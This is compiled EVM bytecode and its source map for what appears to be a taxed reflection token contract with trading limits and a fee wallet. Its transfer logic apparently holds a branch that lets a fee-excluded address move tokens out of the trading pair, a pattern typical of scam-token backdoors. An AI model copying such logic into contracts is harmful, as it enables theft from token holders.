183525f8083526001600160a01b038816815260028252838120338083529252929092205461042c9287929091610427918790610a77565b610657565b5060019392505050565b6001600160a01b0381165f908152600460205260408120546103b590610aaf565b5f546001600160a01b0316331461048e5760405162461bcd60e51b8152602060048201525f60248201526044015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105085760405162461bcd60e51b8152602060048201525f6024820152604401610485565b6105146012600a6113b4565b6105229063773594006113c2565b601290815561053290600a6113b4565b6105409063773594006113c2565b6013557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105706012600a6113b4565b61057e9063773594006113c2565b60405190815260200160405180910390a1565b5f6103b1338484610715565b5f546001600160a01b031633146105cf5760405162461bcd60e51b8152602060048201525f6024820152604401610485565b6001600160a01b0381166105fe5760405162461bcd60e51b8152602060048201525f6024820152604401610485565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0382166106865760405162461bcd60e51b8152602060048201525f6024820152604401610485565b6001600160a01b0383166106b55760405162461bcd60e51b8152602060048201525f6024820152604401610485565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166107445760405162461bcd60e51b8152602060048201525f6024820152604401610485565b6001600160a01b0383166107735760405162461bcd60e51b8152602060048201525f6024820152604401610485565b5f811161079b5760405162461bcd60e51b8152602060048201525f6024820152604401610485565b5f546001600160a01b038481169116148015906107c557505f546001600160a01b03838116911614155b1561096d576007545f906001600160a01b0385811691161480156107f757506008546001600160a01b03848116911614155b801561081b57506001600160a01b0383165f9081526006602052604090205460ff16155b1561084f5760135482111561082e575f80fd5b6012548261083b85610436565b61084591906113d9565b111561084f575f80fd5b5f61085930610436565b6015546001600160a01b0387165f908152600660205260409020549192508210159060ff16156108bb576007546001600160a01b038087169116036108bb57836108a287610436565b10156108bb576108b3858486610af7565b505050505050565b6001600160a01b0386165f9081526006602052604090205460ff161580156108fb57506001600160a01b0385165f9081526006602052604090205460ff16155b80156109045750805b80156109195750600154600160a81b900460ff165b801561092f5750600154600160a01b900460ff16155b801561094957506007546001600160a01b03878116911614155b156109695761095782610bea565b4780156109675761096747610d5a565b505b5050505b6007546001906001600160a01b0385811691161480159061099c57506007546001600160a01b03848116911614155b806109df57506001600160a01b0383165f9081526006602052604090205460ff16806109df57506001600160a01b0384165f9081526006602052604090205460ff165b156109eb57505f610a65565b6007546001600160a01b038581169116148015610a1657506008546001600160a01b03848116911614155b15610a2857600c54600f55600a54600e555b6007546001600160a01b038481169116148015610a5357506008546001600160a01b03858116911614155b15610a6557600d54600f55600b54600e555b610a7184848484610dd4565b50505050565b5f8184841115610a9a5760405162461bcd60e51b815260040161048591906111a3565b505f610aa684866113ec565b95945050505050565b5f601454821115610adb5760405162461bcd60e51b8152602060048201525f6024820152604401610485565b5f610ae4610e02565b9050610af08382610e23565b9392505050565b5f805f805f80610b0687610e3d565b6001600160a01b038f165f90815260046020526040902054959b50939950919750955093509150610b379087610e92565b6001600160a01b03808b165f9081526004602052604080822093909355908a1681522054610b659086610eac565b6001600160a01b0389165f90815260046020526040902055610b88818a8a610ee3565b610b928483610f6d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610bd791815260200190565b60405180910390a3505050505050505050565b6001805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c3057610c306113ff565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c87573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cab9190611413565b81600181518110610cbe57610cbe6113ff565b6001600160a01b039283166020918202929092010152600854610ce49130911684610657565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d1c9085905f9086903090429060040161142e565b5f604051808303815f87803b158015610d33575f80fd5b505af1158015610d45573d5f803e3d5ffd5b50506001805460ff60a01b1916905550505050565b6001805460ff60a01b1916600160a01b1790556017545f90610d8a90606490610d84908590610f91565b90610e23565b6001546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015610dc2573d5f803e3d5ffd5b50506001805460ff60a01b1916905550565b80610de157610de1610fde565b610dec848484610af7565b80610a7157610a71601154600f55601054600e55565b5f805f610e0d61100b565b9092509050610e1c8282610e23565b9250505090565b5f610af0838360405180602001604052805f81525061108a565b5f805f805f805f805f610e558a600f54600e546110b6565b9250925092505f610e64610e02565b90505f805f610e758e878787611101565b919e509c509a509598509396509194505050505091939550919395565b5f610af0838360405180602001604052805f815250610a77565b5f80610eb883856113d9565b905083811015610af05760405162461bcd60e51b8152602060048201525f6024820152604401610485565b6016545f908190610efc906001600160a01b0316610436565b90505f610f09858561114c565b90508015610f225781600e54610f1f91906113ec565b92505b5f610f2b610e02565b90505f610f388883610f91565b305f90815260046020526040902054909150610f549082610eac565b305f908152600460205260409020555050505050505050565b601454610f7a9083610e92565b601455600954610f8a9082610eac565b6009555050565b5f825f03610fa057505f6103b5565b5f610fab83856113c2565b905082610fb8858361149f565b14610af05760405162461bcd60e51b8152602060048201525f6024820152604401610485565b600e54158015610fee5750600f54155b15610ff557565b600e8054601055600f80546011555f9182905555565b5f808061101a6012600a6113b4565b6110289063773594006113c2565b60145490915061105461103d6012600a6113b4565b61104b9063773594006113c2565b60145490610e23565b8110156110825760145461106a6012600a6113b4565b6110789063773594006113c2565b9350935050509091565b939092509050565b5f81836110aa5760405162461bcd60e51b815260040161048591906111a3565b505f610aa6848661149f565b5f8080806110c96064610d848988610f91565b90505f6110db6064610d848a8a610f91565b90505f6110f2836110ec8b85610e92565b90610e92565b99919850919650945050505050565b5f80808061110f8686610f91565b90505f61111c8887610f91565b90505f6111298a88610f91565b90505f61113a846110ec8486610e92565b919b919a509198509650505050505050565b6001600160a01b038083165f8181526006602052604080822054600754868616845291832054929460ff91821615949216909114159116158383801561118f5750825b80156111985750815b979650505050505050565b5f602080835283518060208501525f5b818110156111cf578581018301518582016040015282016111b3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611203575f80fd5b50565b5f8060408385031215611217575f80fd5b8235611222816111ef565b946020939093013593505050565b5f805f60608486031215611242575f80fd5b833561124d816111ef565b9250602084013561125d816111ef565b929592945050506040919091013590565b5f6020828403121561127e575f80fd5b8135610af0816111ef565b5f806040838503121561129a575f80fd5b82356112a5816111ef565b915060208301356112b5816111ef565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561130e57815f19048211156112f4576112f46112c0565b8085161561130157918102915b93841c93908002906112d9565b509250929050565b5f82611324575060016103b5565b8161133057505f6103b5565b816001811461134657600281146113505761136c565b60019150506103b5565b60ff841115611361576113616112c0565b50506001821b6103b5565b5060208310610133831016604e8410600b841016171561138f575081810a6103b5565b61139983836112d4565b805f19048211156113ac576113ac6112c0565b029392505050565b5f610af060ff841683611316565b80820281158282048414176103b5576103b56112c0565b808201808211156103b5576103b56112c0565b818103818111156103b5576103b56112c0565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611423575f80fd5b8151610af0816111ef565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561147e5784516001600160a01b031683529383019391830191600101611459565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826114b957634e487b7160e01b5f52601260045260245ffd5b50049056fea264697066735822122083f3ce0c486a87ddf9e849d61d72701c9f24b36110be7df55dcfd8321222404964736f6c63430008160033

Deployed Bytecode Sourcemap

3249:10865:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4719:71;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4719:71:0;;;;;;;;5594:83;;;;;;;;;;-1:-1:-1;5664:5:0;;;;;;;;;;;;-1:-1:-1;;;5664:5:0;;;;5594:83;;;;;;;:::i;6764:161::-;;;;;;;;;;-1:-1:-1;6764:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;6764:161:0;1205:187:1;3917:41:0;;;;;;;;;;-1:-1:-1;3917:41:0;;;;-1:-1:-1;;;;;3917:41:0;;;;;;-1:-1:-1;;;;;1586:32:1;;;1568:51;;1556:2;1541:18;3917:41:0;1397:228:1;5871:95:0;;;;;;;;;;;;;:::i;10012:273::-;;;;;;;;;;-1:-1:-1;10012:273:0;;;;;:::i;:::-;;:::i;5780:83::-;;;;;;;;;;-1:-1:-1;5780:83:0;;4413:2;2233:36:1;;2221:2;2206:18;5780:83:0;2091:184:1;3882:28:0;;;;;;;;;;-1:-1:-1;3882:28:0;;;;-1:-1:-1;;;;;3882:28:0;;;4934:32;;;;;;;;;;-1:-1:-1;4934:32:0;;;;;;6194:138;;;;;;;;;;-1:-1:-1;6194:138:0;;;;;:::i;:::-;;:::i;1279:148::-;;;;;;;;;;;;;:::i;:::-;;6933:162;;;;;;;;;;;;;:::i;4552:49::-;;;;;;;;;;;;;;;;883:79;;;;;;;;;;-1:-1:-1;921:7:0;948:6;-1:-1:-1;;;;;948:6:0;883:79;;4494:51;;;;;;;;;;;;;;;;5685:87;;;;;;;;;;-1:-1:-1;5757:7:0;;;;;;;;;;;;-1:-1:-1;;;5757:7:0;;;;5685:87;;11882:167;;;;;;;;;;-1:-1:-1;11882:167:0;;;;;:::i;:::-;;:::i;6340:143::-;;;;;;;;;;-1:-1:-1;6340:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6448:18:0;;;6421:7;6448:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6340:143;1065:206;;;;;;;;;;-1:-1:-1;1065:206:0;;;;;:::i;:::-;;:::i;6764:161::-;6839:4;6856:39;631:10;6879:7;6888:6;6856:8;:39::i;:::-;-1:-1:-1;6913:4:0;6764:161;;;;;:::o;5871:95::-;5924:7;4472:13;4413:2;4472;:13;:::i;:::-;4459:26;;:10;:26;:::i;:::-;5944:14;;5871:95;:::o;10012:273::-;10110:4;10127:36;10137:6;10145:9;10156:6;10127:9;:36::i;:::-;10205:49;;;;;;;;;-1:-1:-1;10205:49:0;;;-1:-1:-1;;;;;10205:19:0;;;;:11;:19;;;;;631:10;10205:33;;;;;;;;;;10174:81;;10183:6;;631:10;;10205:49;;10243:6;;10205:37;:49::i;:::-;10174:8;:81::i;:::-;-1:-1:-1;10273:4:0;10012:273;;;;;:::o;6194:138::-;-1:-1:-1;;;;;6307:16:0;;6260:7;6307:16;;;:7;:16;;;;;;6287:37;;:19;:37::i;1279:148::-;1010:6;;-1:-1:-1;;;;;1010:6:0;631:10;1010:22;1002:35;;;;-1:-1:-1;;;1002:35:0;;5017:2:1;1002:35:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;1002:35:0;;;;;;;;;1386:1:::1;1370:6:::0;;1349:40:::1;::::0;-1:-1:-1;;;;;1370:6:0;;::::1;::::0;1349:40:::1;::::0;1386:1;;1349:40:::1;1417:1;1400:19:::0;;-1:-1:-1;;;;;;1400:19:0::1;::::0;;1279:148::o;6933:162::-;1010:6;;-1:-1:-1;;;;;1010:6:0;631:10;1010:22;1002:35;;;;-1:-1:-1;;;1002:35:0;;5017:2:1;1002:35:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;1002:35:0;4815:284:1;1002:35:0;4472:13:::1;4413:2;4472;:13;:::i;:::-;4459:26;::::0;:10:::1;:26;:::i;:::-;6987:14;:24:::0;;;4472:13:::1;::::0;:2:::1;:13;:::i;:::-;4459:26;::::0;:10:::1;:26;:::i;:::-;7022:12;:22:::0;7060:27:::1;4472:13;4413:2;4472;:13;:::i;:::-;4459:26;::::0;:10:::1;:26;:::i;:::-;7060:27;::::0;160:25:1;;;148:2;133:18;7060:27:0::1;;;;;;;6933:162::o:0;11882:167::-;11960:4;11977:42;631:10;12001:9;12012:6;11977:9;:42::i;1065:206::-;1010:6;;-1:-1:-1;;;;;1010:6:0;631:10;1010:22;1002:35;;;;-1:-1:-1;;;1002:35:0;;5017:2:1;1002:35:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;1002:35:0;4815:284:1;1002:35:0;-1:-1:-1;;;;;1154:22:0;::::1;1146:35;;;::::0;-1:-1:-1;;;1146:35:0;;5017:2:1;1146:35:0::1;::::0;::::1;4999:21:1::0;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;1146:35:0::1;4815:284:1::0;1146:35:0::1;1218:6;::::0;;1197:38:::1;::::0;-1:-1:-1;;;;;1197:38:0;;::::1;::::0;1218:6;::::1;::::0;1197:38:::1;::::0;::::1;1246:6;:17:::0;;-1:-1:-1;;;;;;1246:17:0::1;-1:-1:-1::0;;;;;1246:17:0;;;::::1;::::0;;;::::1;::::0;;1065:206::o;6491:265::-;-1:-1:-1;;;;;6584:21:0;;6576:34;;;;-1:-1:-1;;;6576:34:0;;5017:2:1;6576:34:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;6576:34:0;4815:284:1;6576:34:0;-1:-1:-1;;;;;6629:19:0;;6621:32;;;;-1:-1:-1;;;6621:32:0;;5017:2:1;6621:32:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;6621:32:0;4815:284:1;6621:32:0;-1:-1:-1;;;;;6664:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6716:32;;160:25:1;;;6716:32:0;;133:18:1;6716:32:0;;;;;;;6491:265;;;:::o;7986:2018::-;-1:-1:-1;;;;;8083:23:0;;8075:36;;;;-1:-1:-1;;;8075:36:0;;5017:2:1;8075:36:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;8075:36:0;4815:284:1;8075:36:0;-1:-1:-1;;;;;8130:20:0;;8122:33;;;;-1:-1:-1;;;8122:33:0;;5017:2:1;8122:33:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;8122:33:0;4815:284:1;8122:33:0;8183:1;8174:6;:10;8166:23;;;;-1:-1:-1;;;8166:23:0;;5017:2:1;8166:23:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;8166:23:0;4815:284:1;8166:23:0;921:7;948:6;-1:-1:-1;;;;;8206:17:0;;;948:6;;8206:17;;;;:41;;-1:-1:-1;921:7:0;948:6;-1:-1:-1;;;;;8227:20:0;;;948:6;;8227:20;;8206:41;8202:1088;;;8321:13;;8264;;-1:-1:-1;;;;;8311:23:0;;;8321:13;;8311:23;:64;;;;-1:-1:-1;8359:15:0;;-1:-1:-1;;;;;8338:37:0;;;8359:15;;8338:37;;8311:64;:98;;;;-1:-1:-1;;;;;;8380:29:0;;;;;;:18;:29;;;;;;;;8379:30;8311:98;8307:246;;;8449:12;;8439:6;:22;;8431:31;;;;;;8522:14;;8512:6;8489:20;8499:9;8489;:20::i;:::-;:29;;;;:::i;:::-;:47;;8481:56;;;;;;8569:27;8599:24;8617:4;8599:9;:24::i;:::-;8676:20;;-1:-1:-1;;;;;8717:26:0;;8638:12;8717:26;;;:18;:26;;;;;;8569:54;;-1:-1:-1;8653:43:0;;;;8717:26;;8713:155;;;8751:13;;-1:-1:-1;;;;;8751:26:0;;;:13;;:26;8747:119;;8805:6;8785:17;8795:6;8785:9;:17::i;:::-;:26;8781:83;;;8815:38;8828:9;8839:5;8846:6;8815:12;:38::i;:::-;8855:7;;;7986:2018;;;:::o;8781:83::-;-1:-1:-1;;;;;8889:26:0;;;;;;:18;:26;;;;;;;;8888:27;:61;;;;-1:-1:-1;;;;;;8920:29:0;;;;;;:18;:29;;;;;;;;8919:30;8888:61;:72;;;;;8953:7;8888:72;:87;;;;-1:-1:-1;8964:11:0;;-1:-1:-1;;;8964:11:0;;;;8888:87;:100;;;;-1:-1:-1;8980:8:0;;-1:-1:-1;;;8980:8:0;;;;8979:9;8888:100;:127;;;;-1:-1:-1;9002:13:0;;-1:-1:-1;;;;;8992:23:0;;;9002:13;;8992:23;;8888:127;8884:395;;;9036:37;9053:19;9036:16;:37::i;:::-;9120:21;9164;;9160:104;;9210:34;9222:21;9210:11;:34::i;:::-;9017:262;8884:395;8249:1041;;;8202:1088;9367:13;;9321:4;;-1:-1:-1;;;;;9357:23:0;;;9367:13;;9357:23;;;;:53;;-1:-1:-1;9397:13:0;;-1:-1:-1;;;;;9384:26:0;;;9397:13;;9384:26;;9357:53;9356:120;;;-1:-1:-1;;;;;;9416:29:0;;;;;;:18;:29;;;;;;;;;:59;;-1:-1:-1;;;;;;9449:26:0;;;;;;:18;:26;;;;;;;;9416:59;9338:594;;;-1:-1:-1;9517:5:0;9338:594;;;9569:13;;-1:-1:-1;;;;;9559:23:0;;;9569:13;;9559:23;:64;;;;-1:-1:-1;9607:15:0;;-1:-1:-1;;;;;9586:37:0;;;9607:15;;9586:37;;9559:64;9555:174;;;9656:14;;9644:9;:26;9700:13;;9689:8;:24;9555:174;9762:13;;-1:-1:-1;;;;;9749:26:0;;;9762:13;;9749:26;:64;;;;-1:-1:-1;9797:15:0;;-1:-1:-1;;;;;9779:34:0;;;9797:15;;9779:34;;9749:64;9745:176;;;9846:15;;9834:9;:27;9891:14;;9880:8;:25;9745:176;9942:54;9957:6;9965:9;9976:6;9984:11;9942:14;:54::i;:::-;8064:1940;7986:2018;;;:::o;1706:190::-;1792:7;1828:12;1820:6;;;;1812:29;;;;-1:-1:-1;;;1812:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1852:9:0;1864:5;1868:1;1864;:5;:::i;:::-;1852:17;1706:190;-1:-1:-1;;;;;1706:190:0:o;5974:212::-;6042:7;6081;;6070;:18;;6062:31;;;;-1:-1:-1;;;6062:31:0;;5017:2:1;6062:31:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;6062:31:0;4815:284:1;6062:31:0;6104:19;6126:10;:8;:10::i;:::-;6104:32;-1:-1:-1;6154:24:0;:7;6104:32;6154:11;:24::i;:::-;6147:31;5974:212;-1:-1:-1;;;5974:212:0:o;7103:504::-;7197:15;7214:23;7239:12;7253:23;7278:12;7292:13;7309:19;7320:7;7309:10;:19::i;:::-;-1:-1:-1;;;;;7357:15:0;;;;;;:7;:15;;;;;;7196:132;;-1:-1:-1;7196:132:0;;-1:-1:-1;7196:132:0;;-1:-1:-1;7196:132:0;-1:-1:-1;7196:132:0;-1:-1:-1;7196:132:0;-1:-1:-1;7357:28:0;;7196:132;7357:19;:28::i;:::-;-1:-1:-1;;;;;7339:15:0;;;;;;;:7;:15;;;;;;:46;;;;7417:18;;;;;;;:39;;7440:15;7417:22;:39::i;:::-;-1:-1:-1;;;;;7396:18:0;;;;;;:7;:18;;;;;:60;7467:38;7480:5;7487:6;7404:9;7467:12;:38::i;:::-;7516:23;7528:4;7534;7516:11;:23::i;:::-;7572:9;-1:-1:-1;;;;;7555:44:0;7564:6;-1:-1:-1;;;;;7555:44:0;;7583:15;7555:44;;;;160:25:1;;148:2;133:18;;14:177;7555:44:0;;;;;;;;7185:422;;;;;;7103:504;;;:::o;13707:404::-;11412:4;11401:15;;-1:-1:-1;;;;11401:15:0;-1:-1:-1;;;11401:15:0;;;13806:16:::1;::::0;;13820:1:::1;13806:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13806:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13806:16:0::1;13782:40;;13851:4;13833;13838:1;13833:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13833:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13877:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13877:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13833:7;;13877:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13867:4;13872:1;13867:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13867:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13942:15:::1;::::0;13910:62:::1;::::0;13927:4:::1;::::0;13942:15:::1;13960:11:::0;13910:8:::1;:62::i;:::-;13983:15;::::0;:120:::1;::::0;-1:-1:-1;;;13983:120:0;;-1:-1:-1;;;;;13983:15:0;;::::1;::::0;:66:::1;::::0;:120:::1;::::0;14050:11;;13983:15:::1;::::0;14066:4;;14080::::1;::::0;14087:15:::1;::::0;13983:120:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;11439:8:0;:16;;-1:-1:-1;;;;11439:16:0;;;-1:-1:-1;;;;13707:404:0:o;11136:189::-;11412:4;11401:15;;-1:-1:-1;;;;11401:15:0;-1:-1:-1;;;11401:15:0;;;11239:12:::1;:17:::0;11401:15;;11225:41:::1;::::0;11262:3:::1;::::0;11225:32:::1;::::0;:9;;:13:::1;:32::i;:::-;:36:::0;::::1;:41::i;:::-;11285:10;::::0;11277:40:::1;::::0;11204:62;;-1:-1:-1;;;;;;11285:10:0::1;::::0;11277:40;::::1;;;::::0;11204:62;;11285:10:::1;11277:40:::0;11285:10;11277:40;11204:62;11285:10;11277:40;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;11439:8:0;:16;;-1:-1:-1;;;;11439:16:0;;;-1:-1:-1;11136:189:0:o;11626:248::-;11743:11;11738:33;;11756:15;:13;:15::i;:::-;11782:39;11795:6;11803:9;11814:6;11782:12;:39::i;:::-;11837:11;11832:34;;11850:16;13636:17;;13624:9;:29;13675:16;;13664:8;:27;13579:120;10736:164;10778:7;10799:15;10816;10835:19;:17;:19::i;:::-;10798:56;;-1:-1:-1;10798:56:0;-1:-1:-1;10872:20:0;10798:56;;10872:11;:20::i;:::-;10865:27;;;;10736:164;:::o;2239:106::-;2297:7;2324:13;2328:1;2331;2324:13;;;;;;;;;;;;:3;:13::i;12837:469::-;12896:7;12905;12914;12923;12932;12941;12962:23;12987:12;13001:13;13018:41;13030:7;13039:9;;13050:8;;13018:11;:41::i;:::-;12961:98;;;;;;13070:19;13092:10;:8;:10::i;:::-;13070:32;;13114:15;13131:23;13156:12;13172:46;13184:7;13193:4;13199:5;13206:11;13172;:46::i;:::-;13113:105;;-1:-1:-1;13113:105:0;-1:-1:-1;13113:105:0;-1:-1:-1;13269:15:0;;-1:-1:-1;13286:4:0;;-1:-1:-1;13292:5:0;;-1:-1:-1;;;;;12837:469:0;;;;;;;:::o;1904:106::-;1962:7;1989:13;1993:1;1996;1989:13;;;;;;;;;;;;:3;:13::i;1546:152::-;1604:7;;1636:5;1640:1;1636;:5;:::i;:::-;1624:17;;1665:1;1660;:6;;1652:19;;;;-1:-1:-1;;;1652:19:0;;5017:2:1;1652:19:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;1652:19:0;4815:284:1;10293:435:0;10439:8;;10380:13;;;;10429:19;;-1:-1:-1;;;;;10439:8:0;10429:9;:19::i;:::-;10404:44;;10459:13;10475:26;10487:5;10494:6;10475:11;:26::i;:::-;10459:42;;10516:8;10512:47;;;10545:14;10534:8;;:25;;;;:::i;:::-;10526:33;;10512:47;10570:19;10592:10;:8;:10::i;:::-;10570:32;-1:-1:-1;10613:13:0;10629:22;:5;10570:32;10629:9;:22::i;:::-;10703:4;10687:22;;;;:7;:22;;;;;;10613:38;;-1:-1:-1;10687:33:0;;10613:38;10687:26;:33::i;:::-;10678:4;10662:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;;;;;;10293:435:0:o;11471:147::-;11549:7;;:17;;11561:4;11549:11;:17::i;:::-;11539:7;:27;11590:10;;:20;;11605:4;11590:14;:20::i;:::-;11577:10;:33;-1:-1:-1;;11471:147:0:o;2018:213::-;2076:7;2100:1;2105;2100:6;2096:47;;-1:-1:-1;2130:1:0;2123:8;;2096:47;2153:9;2165:5;2169:1;2165;:5;:::i;:::-;2153:17;-1:-1:-1;2198:1:0;2189:5;2193:1;2153:17;2189:5;:::i;:::-;:10;2181:23;;;;-1:-1:-1;;;2181:23:0;;5017:2:1;2181:23:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;2181:23:0;4815:284:1;10908:220:0;10956:8;;:13;:31;;;;-1:-1:-1;10973:9:0;;:14;10956:31;10952:44;;;10908:220::o;10952:44::-;11025:8;;;11006:16;:27;11064:9;;;11044:17;:29;-1:-1:-1;11084:12:0;;;;11107:13;10908:220::o;13314:257::-;13365:7;;;4472:13;4413:2;4472;:13;:::i;:::-;4459:26;;:10;:26;:::i;:::-;13448:7;;13394:25;;-1:-1:-1;13480:20:0;4472:13;4413:2;4472;:13;:::i;:::-;4459:26;;:10;:26;:::i;:::-;13480:7;;;:11;:20::i;:::-;13470:7;:30;13466:61;;;13510:7;;4472:13;4413:2;4472;:13;:::i;:::-;4459:26;;:10;:26;:::i;:::-;13502:25;;;;;;13314:257;;:::o;13466:61::-;13546:7;13555;;-1:-1:-1;13314:257:0;-1:-1:-1;13314:257:0:o;2353:189::-;2439:7;2474:12;2467:5;2459:28;;;;-1:-1:-1;;;2459:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2498:9:0;2510:5;2514:1;2510;:5;:::i;12057:355::-;12152:7;;;;12206:29;12231:3;12206:20;:7;12218;12206:11;:20::i;:29::-;12190:45;-1:-1:-1;12246:12:0;12261:30;12287:3;12261:21;:7;12273:8;12261:11;:21::i;:30::-;12246:45;-1:-1:-1;12302:23:0;12328:28;12350:5;12328:17;:7;12246:45;12328:11;:17::i;:::-;:21;;:28::i;:::-;12302:54;12392:4;;-1:-1:-1;12398:5:0;;-1:-1:-1;12057:355:0;-1:-1:-1;;;;;12057:355:0:o;12420:409::-;12530:7;;;;12584:22;:5;12594:11;12584:9;:22::i;:::-;12568:38;-1:-1:-1;12617:12:0;12632:21;:4;12641:11;12632:8;:21::i;:::-;12617:36;-1:-1:-1;12664:15:0;12682:24;:7;12694:11;12682;:24::i;:::-;12664:42;-1:-1:-1;12717:23:0;12743:28;12765:5;12743:17;12664:42;12755:4;12743:11;:17::i;:28::-;12790:7;;;;-1:-1:-1;12816:4:0;;-1:-1:-1;12420:409:0;-1:-1:-1;;;;;;;12420:409:0:o;7615:363::-;-1:-1:-1;;;;;7728:25:0;;;7689:4;7728:25;;;:18;:25;;;;;;;7793:13;;7840:26;;;;;;;;;7689:4;;7728:25;;;;7727:26;;7793:13;;7784:22;;;;;7840:26;7839:27;7689:4;7727:26;7895:29;;;;;7912:12;7895:29;:47;;;;;7928:14;7895:47;7879:63;7615:363;-1:-1:-1;;;;;;;7615:363:0:o;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1630:456::-;1707:6;1715;1723;1776:2;1764:9;1755:7;1751:23;1747:32;1744:52;;;1792:1;1789;1782:12;1744:52;1831:9;1818:23;1850:31;1875:5;1850:31;:::i;:::-;1900:5;-1:-1:-1;1957:2:1;1942:18;;1929:32;1970:33;1929:32;1970:33;:::i;:::-;1630:456;;2022:7;;-1:-1:-1;;;2076:2:1;2061:18;;;;2048:32;;1630:456::o;2488:247::-;2547:6;2600:2;2588:9;2579:7;2575:23;2571:32;2568:52;;;2616:1;2613;2606:12;2568:52;2655:9;2642:23;2674:31;2699:5;2674:31;:::i;2740:388::-;2808:6;2816;2869:2;2857:9;2848:7;2844:23;2840:32;2837:52;;;2885:1;2882;2875:12;2837:52;2924:9;2911:23;2943:31;2968:5;2943:31;:::i;:::-;2993:5;-1:-1:-1;3050:2:1;3035:18;;3022:32;3063:33;3022:32;3063:33;:::i;:::-;3115:7;3105:17;;;2740:388;;;;;:::o;3133:127::-;3194:10;3189:3;3185:20;3182:1;3175:31;3225:4;3222:1;3215:15;3249:4;3246:1;3239:15;3265:416;3354:1;3391:5;3354:1;3405:270;3426:7;3416:8;3413:21;3405:270;;;3485:4;3481:1;3477:6;3473:17;3467:4;3464:27;3461:53;;;3494:18;;:::i;:::-;3544:7;3534:8;3530:22;3527:55;;;3564:16;;;;3527:55;3643:22;;;;3603:15;;;;3405:270;;;3409:3;3265:416;;;;;:::o;3686:806::-;3735:5;3765:8;3755:80;;-1:-1:-1;3806:1:1;3820:5;;3755:80;3854:4;3844:76;;-1:-1:-1;3891:1:1;3905:5;;3844:76;3936:4;3954:1;3949:59;;;;4022:1;4017:130;;;;3929:218;;3949:59;3979:1;3970:10;